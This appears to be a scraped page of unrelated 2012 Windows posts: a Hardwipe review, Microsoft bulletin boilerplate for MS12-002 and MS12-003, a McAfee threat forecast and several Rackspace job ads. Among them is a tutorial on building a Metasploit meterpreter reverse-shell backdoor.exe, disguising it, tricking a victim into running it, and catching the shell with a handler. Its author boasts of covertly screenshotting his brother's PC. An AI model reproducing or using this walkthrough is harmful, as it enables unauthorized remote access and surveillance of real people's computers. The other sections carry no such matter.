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‘Hardwipe’ Windows PC data

When it comes to your computer, security takes a number of forms. There is the threat of viruses and spyware to consider, the importance of securing accounts with strong passwords and there is also the security of your files to bear in mind. You might think that when you delete the files you no longer need they are gone forever, but there are a variety of tools can techniques that can be used to recover data that has been ‘removed’. Hardwipe is a free tool that can be used to boost your security by overwriting files multiple times to dramatically reduce, or even eliminate, the ability to recover files.

The program can be used in a couple of ways, either to wipe a drive in its entirety or delete selections of files. When it comes to wiping a drive, you must use the main program interface to select the drive you are interested in as well as selecting the options that should be used, but when it comes to deleting individual files and folders, Windows’ right click menu provides access to the wiping option.

Files can be overwritten anything from once to 35 time depending on the sensitivity of your data or your level of paranoia, but you should expect most of the multi-wipe options to take quite some time — although it is possible to adjust the priority at which the program runs. Whether you are wiping a drive completely or just deleting a large number of files, you can opt to have Windows automatically shut down so you do not need to sit at your computer waiting for the process to finish.

Another handy option is the ability to wipe free space that has already been created by deleting files in the usual way or using other software. This option to clean up the potential security risks from the past is a nice touch, as is the feature that makes it possible to wipe data that has been stored in Windows’ swap file.

Hardwipe is not the only secure deletion tool that is available – in fact there are quite a few to choose from – but it benefits greatly from the fact that it is not only free of charge but also incredibly easy to use. If you want to protect your privacy if you are passing on hardware to another owner, this is a great way to keep your data secure.

You can find out more and download a free copy of the app by paying a visit to the Hardwipe review page.

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Article source: http://betanews.com/2012/01/12/hardwipe-windows-pc-data/

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Pawning Windows 7 Sp1 Box with Metasploit

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In this tutorial we will exploit a Windows 7 Sp1 OS using Metasploit. We will be using the exploit/multi/handler module which “provides all of the features of the Metasploit payload system to exploits that have been launched  outside of the framework

Before we fire up Metasploit, we need to create a payload in order to gain a meterpreter shell. To create a payload type this in the terminal without the quotes:

msfpayload windows/meterpreter/reverse_tcp LHOST=”your Local IP” LPORT=”listening port” x > /root/backdoor.exe

Use port 4444 for the LPORT which is the listening port and set the LHOST to the IP of the remote attacker which is obviously your Local IP address, my IP is 192.168.10.5.

backdoor.exe

After that, you should be able to see a file named as backdoor.exe in /root. Send the file to the victim by using your Social Engineering skills and let him click the file. You can change the name of the file so that it is not that obvious.

Launch Metasploit and set the exploit by typing these commands in your msfconsole:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.10.5

set lport 4444

exploit

exploiting windows 7

If all goes well, you should be able to establish a meterpreter session. Type sysinfo to gather some info on the machine. To know other commands for the meterpreter type help. There are also other meterpreter commands like capturing the screenshot of the PC, record keystrokes, capture a snapshot from a webcam, etc. To enter the command shell of the machine, type shell.

Ohw, and because my brother is currently checking out his Facebook account, I decided to take a screenshot on his PC by using the meterpreter command screenshot.


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MS12-003 – Important : Vulnerability in Windows Client/Server Run-time Subsystem Could Allow Elevation of Privilege (2646524)

Security Central

Manage the software and security updates you need to deploy to the servers, desktop, and mobile systems in your organization. For more information see the TechNet Update Management Center. The Microsoft TechNet Security website provides additional information about security in Microsoft products.

Security updates are available from Microsoft Update and Windows Update. Security updates are also available from the Microsoft Download Center. You can find them most easily by doing a keyword search for “security update.”

Finally, security updates can be downloaded from the Microsoft Update Catalog. The Microsoft Update Catalog provides a searchable catalog of content made available through Windows Update and Microsoft Update, including security updates, drivers and service packs. By searching using the security bulletin number (such as, “MS07-036″), you can add all of the applicable updates to your basket (including different languages for an update), and download to the folder of your choosing. For more information about the Microsoft Update Catalog, see the Microsoft Update Catalog FAQ.

Detection and Deployment Guidance

Microsoft provides detection and deployment guidance for security updates. This guidance contains recommendations and information that can help IT professionals understand how to use various tools for detection and deployment of security updates. For more information, see Microsoft Knowledge Base Article 961747.

Microsoft Baseline Security Analyzer

Microsoft Baseline Security Analyzer (MBSA) allows administrators to scan local and remote systems for missing security updates as well as common security misconfigurations. For more information about MBSA, visit Microsoft Baseline Security Analyzer.

The following table provides the MBSA detection summary for this security update.

Note For customers using legacy software not supported by the latest release of MBSA, Microsoft Update, and Windows Server Update Services, please visit Microsoft Baseline Security Analyzer and reference the Legacy Product Support section on how to create comprehensive security update detection with legacy tools.

Windows Server Update Services

Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates to computers that are running the Windows operating system. For more information about how to deploy security updates using Windows Server Update Services, see the TechNet article, Windows Server Update Services.

Systems Management Server

The following table provides the SMS detection and deployment summary for this security update.

Note Microsoft discontinued support for SMS 2.0 on April 12, 2011. For SMS 2003, Microsoft also discontinued support for the Security Update Inventory Tool (SUIT) on April 12, 2011. Customers are encouraged to upgrade to System Center Configuration Manager 2007. For customers remaining on SMS 2003 Service Pack 3, the Inventory Tool for Microsoft Updates (ITMU) is also an option.

For SMS 2003, the SMS 2003 Inventory Tool for Microsoft Updates (ITMU) can be used by SMS to detect security updates that are offered by Microsoft Update and that are supported by Windows Server Update Services. For more information about the SMS 2003 ITMU, see SMS 2003 Inventory Tool for Microsoft Updates. For more information about SMS scanning tools, see SMS 2003 Software Update Scanning Tools. See also Downloads for Systems Management Server 2003.

System Center Configuration Manager 2007 uses WSUS 3.0 for detection of updates. For more information about Configuration Manager 2007 Software Update Management, visit System Center Configuration Manager 2007.

For more information about SMS, visit the SMS website.

For more detailed information, see Microsoft Knowledge Base Article 910723: Summary list of monthly detection and deployment guidance articles.

Update Compatibility Evaluator and Application Compatibility Toolkit

Updates often write to the same files and registry settings required for your applications to run. This can trigger incompatibilities and increase the time it takes to deploy security updates. You can streamline testing and validating Windows updates against installed applications with the Update Compatibility Evaluator components included with Application Compatibility Toolkit.

The Application Compatibility Toolkit (ACT) contains the necessary tools and documentation to evaluate and mitigate application compatibility issues before deploying Microsoft Windows Vista, a Windows Update, a Microsoft Security Update, or a new version of Windows Internet Explorer in your environment.

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Article source: http://technet.microsoft.com/en-us/security/bulletin/ms12-003

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MS12-002 – Important : Vulnerability in Windows Object Packager Could Allow Remote Code Execution (2603381)

Security Central

Manage the software and security updates you need to deploy to the servers, desktop, and mobile systems in your organization. For more information see the TechNet Update Management Center. The Microsoft TechNet Security website provides additional information about security in Microsoft products.

Security updates are available from Microsoft Update and Windows Update. Security updates are also available from the Microsoft Download Center. You can find them most easily by doing a keyword search for “security update.”

Finally, security updates can be downloaded from the Microsoft Update Catalog. The Microsoft Update Catalog provides a searchable catalog of content made available through Windows Update and Microsoft Update, including security updates, drivers and service packs. By searching using the security bulletin number (such as, “MS07-036″), you can add all of the applicable updates to your basket (including different languages for an update), and download to the folder of your choosing. For more information about the Microsoft Update Catalog, see the Microsoft Update Catalog FAQ.

Detection and Deployment Guidance

Microsoft provides detection and deployment guidance for security updates. This guidance contains recommendations and information that can help IT professionals understand how to use various tools for detection and deployment of security updates. For more information, see Microsoft Knowledge Base Article 961747.

Microsoft Baseline Security Analyzer

Microsoft Baseline Security Analyzer (MBSA) allows administrators to scan local and remote systems for missing security updates as well as common security misconfigurations. For more information about MBSA, visit Microsoft Baseline Security Analyzer.

The following table provides the MBSA detection summary for this security update.

Note For customers using legacy software not supported by the latest release of MBSA, Microsoft Update, and Windows Server Update Services, please visit Microsoft Baseline Security Analyzer and reference the Legacy Product Support section on how to create comprehensive security update detection with legacy tools.

Windows Server Update Services

Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates to computers that are running the Windows operating system. For more information about how to deploy security updates using Windows Server Update Services, see the TechNet article, Windows Server Update Services.

Systems Management Server

The following table provides the SMS detection and deployment summary for this security update.

Note Microsoft discontinued support for SMS 2.0 on April 12, 2011. For SMS 2003, Microsoft also discontinued support for the Security Update Inventory Tool (SUIT) on April 12, 2011. Customers are encouraged to upgrade to System Center Configuration Manager 2007. For customers remaining on SMS 2003 Service Pack 3, the Inventory Tool for Microsoft Updates (ITMU) is also an option.

For SMS 2003, the SMS 2003 Inventory Tool for Microsoft Updates (ITMU) can be used by SMS to detect security updates that are offered by Microsoft Update and that are supported by Windows Server Update Services. For more information about the SMS 2003 ITMU, see SMS 2003 Inventory Tool for Microsoft Updates. For more information about SMS scanning tools, see SMS 2003 Software Update Scanning Tools. See also Downloads for Systems Management Server 2003.

System Center Configuration Manager 2007 uses WSUS 3.0 for detection of updates. For more information about Configuration Manager 2007 Software Update Management, visit System Center Configuration Manager 2007.

For more information about SMS, visit the SMS website.

For more detailed information, see Microsoft Knowledge Base Article 910723: Summary list of monthly detection and deployment guidance articles.

Update Compatibility Evaluator and Application Compatibility Toolkit

Updates often write to the same files and registry settings required for your applications to run. This can trigger incompatibilities and increase the time it takes to deploy security updates. You can streamline testing and validating Windows updates against installed applications with the Update Compatibility Evaluator components included with Application Compatibility Toolkit.

The Application Compatibility Toolkit (ACT) contains the necessary tools and documentation to evaluate and mitigate application compatibility issues before deploying Microsoft Windows Vista, a Windows Update, a Microsoft Security Update, or a new version of Windows Internet Explorer in your environment.

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Article source: http://technet.microsoft.com/en-us/security/bulletin/ms12-002

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Windows Administrator (MS Exchange) – Operations / Rackspace / Austin, TX

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Windows Administrator (MS Exchange) – Operations – 13900

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Job TitleWindows Administrator (MS Exchange) – Operations
Category Information Technology
Requisition # 13900
Location US-TX-Austin Austin, TX 78754, US
Education Bachelor's Degree
Job Type Full-time
Shift/Hours
Travel Required 0
Job Description

We are looking for Windows System Administrators for immediate opportunities supporting projects within our Cloud Operations – Email & Apps team. This position is a key element within the Rackspace support infrastructure and is expected to provide a high level of technical support to our customers over the phone and via support tickets. A System Administrator is the owner of complex customer issues which may take several days or weeks to resolve. Opportunities available for 1st, 2nd, or 3rd shift. These positions will support Microsoft Exchange 2003/2007 (building, monitoring, and maintaining), including Active Directory, Sharepoint, and other related systems.

Responsibilities:

- Configuration of Window 2003/2008 servers to meet customer requirements; may include Exchange, Active Directory, OS, IIS, SQL, and other applications Controls call flow for the support team
- Monitors alerts and create tickets accordingly
- Handles level-appropriate customer support requests via the ticket system
- Escalates support requests (phone/ticket) according to escalation procedures
- Schedules and coordinates level-appropriate maintenance

Job Requirements

The ideal candidate will have the following:

- Knowledge of Windows 2003/2008 server, Exchange, Active Directory, DNS, and TCP/IP
- General knowledge of DNS. General knowledge of Network fundamentals, including diagnostics with Windows system tools
- Continually expands knowledge in the areas of new developments and trends; may make recommendations to management on desirable additions and developments
MCP certification preferred
- Requires 4 – 10 years experience in Windows systems administration or related field
- Must have general knowledge of DNS, Firmware, Hardware, Package Management, Basic Shell scripting, and Web Scripting
- Basic Knowledge/Familiarity with Auth/Directory Services, Backups, Patching, RAID, SSL Certs, Storage, System Optimization, Web Servers, Caching, CDN, Certifications, Exchange, FTP, Firmware, HTML, SharePoint, Load Balancing, and Security concepts required
- Knowledge of CDN, Certifications, HTML, OX/DISTR, and System Design a plus
- Able to touch type 50 – 60 wpm
- Good ability to handle multiple tasks and prioritize work in order to maintain required productivity levels
- Must be detailed in documenting information and practice good follow through techniques
- General problem solving abilities, coupled with a desire to take on responsibility
- Possesses good written and verbal communication skills; bi-lingual skills is a plus
- Minimum of 1-2 years working in the Rackspace environment or equivalent FANATICAL customer support work place
- Due to the 24×7 operations of the business, must be able to work a flexible work schedule, may include nights, weekends, holidays, etc.

Rackspace, a world leader in hosting delivers enterprise-level managed hosting, cloud hosting, and e-mail hosting services to businesses of all types and sizes globally. Today we serve thousands of customers from data centers around the world. Rackspace integrates the industry's best technologies and practices for each customer's specific needs delivering it as a service via the company's commitment to Fanatical Support®. We serve as an extension of our customers' IT departments enabling them to focus on their core business. Rackspace was founded in 1998 and since then has had significant growth year after year. There are now over 3,000 Rackers employed worldwide dedicated to providing customers our premier hosting services.

Rackspace Hosting is an Equal Opportunity Employer

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Windows System Administrator II/III – EnterpriseUS / Rackspace / San Antonio, TX

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Windows System Administrator II/III – EnterpriseUS – 14283

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Job TitleWindows System Administrator II/III – EnterpriseUS
Category Database Administration
Requisition # 14283
Location US-TX-San Antonio-CSTL San Antonio, TX 78218, US
Education Bachelor's Degree
Job Type Full-time
Shift/Hours
Travel Required 0
Job Description

A Senior System Administrator is a key element within the Rackspace support infrastructure and is expected to provide a high level of technical support to our customers over the phone and via support tickets. A Senior System Administrator is the owner of complex customer issues which may take several days or weeks to resolve. The SSE applies create problem-solving techniques to identify the source of problems; while at the same time keeping the customer aware of every step along the way via the ticketing system. A Senior System Administrator is expected to use imitative and advise on potential pitfalls that a customer may experience, using existing or planned methods, and suggest alternatives that may better serve the stability and security of the customer’s solution.

Proposes and implements system enhancements (software and hardware updates) that will improve the performance and reliability of the system. Manages the load configuration of a central data communication processor and makes recommendations for purchase or upgrade of data networks. Coordinates terminal orders, network system planning, upgrading, monitoring, testing and servicing.

Defines, designs and implements network communications and solutions using the Windows system. Responsible for solving customer's technical issues which can include OS level, webserver, database server, applications server, DNS, SMTP or other software issue.

Responsibilities:

- Expert troubleshooting of the Windows OS, IIS, SQL and other applications.
- Provides consulting service to customer on building solutions to meet customer needs.
- Responsible for technical aspect of customer visits both in the office and at customer locations, includes presentations.
- Ensures customer satisfaction with follow ups.
- Handles level-appropriate customer support requests via the ticket system.
- Creates and maintains customer loyalty by serving customers above and beyond their expectations.
- Exercises judgment in decision-making in order to routinely deliver FANATICAL customer support.
- Due to the 24×7 operations of the business, must be able to work a flexible work schedule, may include nights, weekends, holidays, etc.

Job Requirements

The ideal candidate will have the following:

- Uses skills as a seasoned experienced professional with a full understanding of industry practices and company policies and procedures; resolves a wide range of issues in imaginative as well as practical ways.
- Excellent knowledge of Windows 2000/2003 server, IIS 5 & 6, active directory, DNS, SMTP, and TCP/IP.
- Excellent knowledge of DNS, including diagnostics with Windows system tools.
- Continually expands knowledge in the areas of new developments and trends; may make recommendations to management on desirable additions and developments.
- MCSA or MCSE certification preferred.
- Requires 8 years experience in systems administration or related field.
- Bachelor’s degree in computer science or engineering related field or equivalent work experience, preferred.
- Able to touch type 50 – 60 wpm.
- Excellent ability to handle multiple tasks and prioritize work in order to maintain required productivity levels.
- Must be detailed in documenting information and practice good follow through techniques.
- Excellent problem solving abilities, coupled with a desire to take on responsibility.
- Possesses excellent written and verbal communication skills; bi-lingual skills is a plus.

Rackspace, a world leader in hosting delivers enterprise-level managed hosting, cloud hosting, and e-mail hosting services to businesses of all types and sizes globally. Today we serve thousands of customers from data centers around the world. Rackspace integrates the industry's best technologies and practices for each customer's specific needs delivering it as a service via the company's commitment to Fanatical Support®. We serve as an extension of our customers' IT departments enabling them to focus on their core business. Rackspace was founded in 1998 and since then has had significant growth year after year. There are now over 3,000 Rackers employed worldwide dedicated to providing customers our premier hosting services.

Rackspace Hosting is an Equal Opportunity Employer

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Windows 8 May Prompt Malware Attacks on Hardware, McAfee Predicts

Security features in Windows 8 will discourage operating-system attacks and drive hackers to develop malware that compromises hardware directly, according to McAfee’s security predictions for 2012.

“Advances in the Windows 8 bootloader security feature have already caused researchers to show how they can be subverted through legacy BIOS,” McAfee says in its “2012 Threats Predictions, “meanwhile, the product has not even been fully released yet.”

At the same time Intel is developing its unified extensible firmware interface that is meant to enforce secure booting, which will further prod attackers into designing malware that evades these new protections, the report says.

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“We will keenly watch how attackers use these low-level functions for botnet control, perhaps migrating their control functions into graphics processor functions, the BIOS, or the master boot record,” the report says. “In spite of our efforts to thwart their ambitions, attackers clearly see the value and power of attacking hardware and moving outside of traditional operating-system attacks.”

Attacks on mobile devices will also gain more attention from adversaries as the devices are used more to conduct financial transactions and become repositories of valuable information, McAfee says.

With PCs, attackers have effectively infiltrated banking applications, and the same will happen with banking apps on phones, the report says. “Attackers have adapted quickly to every change intended to secure banking on PCs. As we use our mobile devices ever more for banking, we will see attackers bypass PCs and go straight after mobile-banking apps,” the report says.

To gain better control of mobile devices, attackers will take advantage of rooting tools that legitimate customers use to add more features to their phones.

“Attackers have already used old root exploits to hide themselves; as new exploits are developed, attackers will eventually install their own custom firmware,” the report says.

Virtual currency operations such as Bitcoin will come under increasing attack in the coming year, McAfee says, because the virtual wallets where transactions take place are public and unencrypted – making them ideal for attacks from Trojans.

And a formal business structure, similar to what has grown up around botnets, will develop to streamline the violation of virtual currencies. “We expect to see this threat evolve into a cottage industry of cybercrime next year,” McAfee says, “with spam, data theft, tools, support networks, and other associated services dedicated solely to exploiting virtual currencies.”

Attacks against supervisory control and data acquisition (SCADA) systems have been proven and administrators of these systems need to take the threat seriously, McAfee says. There has been enough proof – particularly via Stuxnet – that cyber attacks can cause physical damage, so steps should be taken to reduce that likelihood.

“It’s time for extensive penetration testing and emergency response planning that includes cybercomponents and networking with law enforcement at all levels,” the report says. “They must ask themselves: What happens when we are targeted?”

Other predictions:

  • Hacktivists will integrate their protests with physical protests by demonstrators to assert more focused political pressure.
  • Cyber war demonstrations, if not actual attacks, will take place if for no other reason than as a deterrent to demonstrate how destructive they could be.
  • Further compromises of SSL certificates will reduce confidence in certificate authorities.
  • Traditional spam will wane as legal entities that accomplish essentially the same goals gain favor.

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Article source: http://www.pcworld.com/article/246775/windows_8_may_prompt_malware_attacks_on_hardware_mcafee_predicts.html

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Windows Administrator (SSE) – US / Rackspace / Austin, TX

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Windows Administrator (SSE) – US – 14827

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Job TitleWindows Administrator (SSE) – US
Category Database Administration
Requisition # 14827
Location US-TX-Austin Austin, TX 78754, US
Education Bachelor's Degree
Job Type Full-time
Shift/Hours
Travel Required 0
Job Description

A Senior System Administrator is a key element within the Rackspace support infrastructure and is expected to provide a high level of technical support to our customers over the phone and via support tickets. A Senior System Administrator is the owner of complex customer issues which may take several days or weeks to resolve. The SSE applies create problem-solving techniques to identify the source of problems; while at the same time keeping the customer aware of every step along the way via the ticketing system. A Senior System Administrator is expected to use imitative and advise on potential pitfalls that a customer may experience, using existing or planned methods, and suggest alternatives that may better serve the stability and security of the customer’s solution.

Proposes and implements system enhancements (software and hardware updates) that will improve the performance and reliability of the system. Manages the load configuration of a central data communication processor and makes recommendations for purchase or upgrade of data networks. Coordinates terminal orders, network system planning, upgrading, monitoring, testing and servicing.

Defines, designs and implements network communications and solutions using the Windows system. Responsible for solving customer's technical issues which can include OS level, webserver, database server, applications server, DNS, SMTP or other software issue.

Responsibilities:

- Expert troubleshooting of the Windows OS, IIS, SQL and other applications.
- Provides consulting service to customer on building solutions to meet customer needs.
- Responsible for technical aspect of customer visits both in the office and at customer locations, includes presentations.
- Ensures customer satisfaction with follow ups.
- Handles level-appropriate customer support requests via the ticket system.
- Creates and maintains customer loyalty by serving customers above and beyond their expectations.
- Exercises judgment in decision-making in order to routinely deliver FANATICAL customer support.
- Due to the 24×7 operations of the business, must be able to work a flexible work schedule, may include nights, weekends, holidays, etc.

Job Requirements

The ideal candidate will have the following:

- Uses skills as a seasoned experienced professional with a full understanding of industry practices and company policies and procedures; resolves a wide range of issues in imaginative as well as practical ways.
- Excellent knowledge of Windows 2000/2003 server, IIS 5 & 6, active directory, DNS, SMTP, and TCP/IP.
- Excellent knowledge of DNS, including diagnostics with Windows system tools.
- Continually expands knowledge in the areas of new developments and trends; may make recommendations to management on desirable additions and developments.
- MCSA or MCSE certification preferred.
- Requires 8 years experience in systems administration or related field.
- Bachelor’s degree in computer science or engineering related field or equivalent work experience, preferred.
- Able to touch type 50 – 60 wpm.
- Excellent ability to handle multiple tasks and prioritize work in order to maintain required productivity levels.
- Must be detailed in documenting information and practice good follow through techniques.
- Excellent problem solving abilities, coupled with a desire to take on responsibility.
- Possesses excellent written and verbal communication skills; bi-lingual skills is a plus.

Rackspace, a world leader in hosting delivers enterprise-level managed hosting, cloud hosting, and e-mail hosting services to businesses of all types and sizes globally. Today we serve thousands of customers from data centers around the world. Rackspace integrates the industry's best technologies and practices for each customer's specific needs delivering it as a service via the company's commitment to Fanatical Support®. We serve as an extension of our customers' IT departments enabling them to focus on their core business. Rackspace was founded in 1998 and since then has had significant growth year after year. There are now over 4,000 Rackers employed worldwide dedicated to providing customers our premier hosting services.

Rackspace Hosting is an Equal Opportunity Employer

The above information has been designed to indicate the general nature and level of work performed by employees in this classification. It is not designed to contain or to be interpreted as a comprehensive inventory of all duties, responsibilities, and qualifications required of the employee assigned to this job.
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Windows Administrator II – Emerging / Rackspace / San Antonio, TX

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Windows Administrator II – Emerging – 14567

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Job TitleWindows Administrator II – Emerging
Category Information Technology
Requisition # 14567
Location US-TX-San Antonio-DP San Antonio, TX 78229, US
Education Bachelor's Degree
Job Type Full-time
Shift/Hours
Travel Required 0
Job Description

We are looking for a Windows System Administrator II who will be a key element within the Rackspace support infrastructure and is expected to provide a high level of technical support to our customers over the phone and via support tickets.The Administrator applies creative problem-solving techniques to identify the source of problems; as well as keeping the customer aware of every step along the way via the ticketing system. A System Administrator is expected to use initiative and advise on potential pitfalls that a customer may experience, using existing or planned methods, and suggest alternatives that may better serve the stability and security of the customer’s solution.

Responsibilities:

- Validate monitoring alerts, create support tickets as required and execute predefined troubleshooting instructions
- Create Active Directory users, OU groups, and understand how to apply NTFS and share level permissions
- Perform routine maintenance tasks (servers reboots, user maintenance and service restarts)
- Route tickets to applicable departments
- Perform documented server maintenances
- Audit customer configurations

Job Requirements

The ideal candidate will have the following:

- Understanding of networking technology fundamentals
- General understanding of Active Directory, IIS and DNS
- Understands concepts of E-mail, clustering and databases
- Understands purpose of Firewalls and Load Balancers, VPN and SSL technologies
- Demonstrates basic problem solving abilities and possesses effective communication skills
- Bachelors degree in computer science or engineering related field or equivalent work experience, preferred
- Requires at least 2-4 years working in a computer technical field

Rackspace, a world leader in hosting delivers enterprise-level managed hosting, cloud hosting, and e-mail hosting services to businesses of all types and sizes globally. Today we serve thousands of customers from data centers around the world. Rackspace integrates the industry's best technologies and practices for each customer's specific needs delivering it as a service via the company's commitment to Fanatical Support®. We serve as an extension of our customers' IT departments enabling them to focus on their core business. Rackspace was founded in 1998 and since then has had significant growth year after year. There are now over 3,000 Rackers employed worldwide dedicated to providing customers our premier hosting services.

Rackspace Hosting is an Equal Opportunity Employer

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